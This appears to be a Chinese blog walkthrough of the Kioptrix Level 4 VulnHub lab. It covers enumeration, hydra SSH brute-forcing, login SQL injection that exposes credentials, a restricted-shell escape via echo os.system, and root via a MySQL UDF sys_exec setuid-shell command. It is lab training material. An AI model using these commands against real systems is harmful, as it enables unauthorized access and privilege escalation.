Environment

攻击机(kali):192.168.146.128

靶机下载地址:https://www.vulnhub.com/entry/kioptrix-level-13-4,25/

kali 与靶机为同种网络模式(此处均为 NAT 模式)

Enumeration

Host Enumeration

使用 arp-scan 进行主机探测:sudo arp-scan -l

得到靶机 IP 为:192.168.146.132

Port Enumeration

使用 rustscan 能快速得到端口开放情况:rustscan -a 192.168.146.132

使用 nmap 进行端口扫描获取版本信息:sudo nmap -T4 -sV -O -p- 192.168.146.132

└─$ sudo nmap -T4 -sV -O -p- 192.168.146.132
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-07 14:46 CST
Nmap scan report for 192.168.146.132
Host is up (0.00077s latency).
Not shown: 39528 closed tcp ports (reset), 26003 filtered tcp ports (no-response)
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
80/tcp  open  http        Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 00:0C:29:54:12:3A (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 96.65 seconds

Directory Enumeration

使用 dirsearch 进行目录扫描:dirsearch -u http://192.168.146.132 -x 400-599 -t 50

使用 gobuster 进行目录扫描:gobuster dir -u http://192.168.146.132 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt

发现两个特殊路径: http://192.168.146.132/john/ http://192.168.146.132/robert/

访问均存在同名 php 文件,点击后会跳转到登录页面,推测 john、robert 可能是存在的用户名。

SMB enumeration

根据端口信息发现存在 SMB 服务,使用 enum4linux 对其进行枚举:enum4linux 192.168.146.132

未获取到 smb 版本号,但枚举出用户名:root、robert、john、loneferret

用户名也可通过 nmap 进行枚举:nmap -T4 --script=smb-enum-users 192.168.146.132

尝试对四个账户进行 ssh 暴破: hydra -L u.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000.txt 192.168.146.132 ssh

暴破失败,此思路仅供参考。

SQL injection

使用任意账号登录,抓取登录的 POST 请求发送到 Repeater 模块进一步测试:

在密码后插入'后发包出现 mysql 报错,怀疑存在 SQL 注入漏洞,将此请求发送至 Intruder 模块进行模糊测试,选择 Cluster bomb 模式并给用户名密码处打上标记:

用户名 Payload 使用前面获取到的几个用户名:

密码选用 burp 自带的 Fuzzing - SQL injection 字典:

在结果中筛选不同用户名存在 302 跳转的请求,并将其放到浏览器去访问:

进而发现 robert 和 john 账号的密码:

ps:切换不同用户 302 请求前需清理 cookie 或者点击 Logout

john        MyNameIsJohn
robert      ADGAdsafdfwt4gadfga==

Escaping restricted shell

使用两组账号密码尝试登录 ssh:

登录后发现,只能运行一些有限的命令(两个账号相同情况,不一一展示),在运行一些被禁止的命令后,甚至会被踢下线。这就是一个受限制的 shell(restricted shell),接下来要从这个 restricted shell 中逃离。

以下是逃逸出 restricted shell 的参考资料:

通过 help 命令发现可用命令中有 echo,尝试使用 echo 命令进行逃逸: echo os.system('/bin/bash')

成功获得一个 bash shell。

Privilege Escalation

首先查看 sudo 权限:sudo -l

发现 john 账号没有运行 sudo 的权限,接下来通过ps命令查看哪些进程在使用 root 权限:

ps aux |grep root

可以发现 mysql 是以 root 权限运行的,猜测网站使用到了 mysql,前往 web 目录即 /var/www 查看是否存在 mysql 配置信息:

checklogin.php 文件中发现 mysql 的 root 账号是空密码。

小结一下,现在有了 mysql 账号密码并且知道它以 root 权限运行,那么可以尝试进行 MySQL UDF 提权。

参考文章:

登录 mysql 查看数据库内容:mysql -uroot

在 mysql 库中的 func 表里发现已经导入了 lib_mysqludf_sys.so 文件,直接利用 sys_exec 函数创建 root 权限的 shell 即可:

select sys_exec('cp /bin/sh /tmp/shell;chmod u+s /tmp/shell');
\! /tmp/shell

成功提权,并在 /root 目录下找到 flag 即 congrats.txt 文件:

Key Learnings From this BOX

  • URL 锚点也可以是一个用户名,在这个靶机中可以参考目录扫描部分;
  • 始终检测登录处可能存在的 SQL 注入;
  • 可以利用 MySQL 进行提权,例如本靶机中的 MySQL UDF 提权。
文章作者: z0sen
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 z0sen's Blog
Walkthrough VulnHub Linux SQLi
喜欢就支持一下吧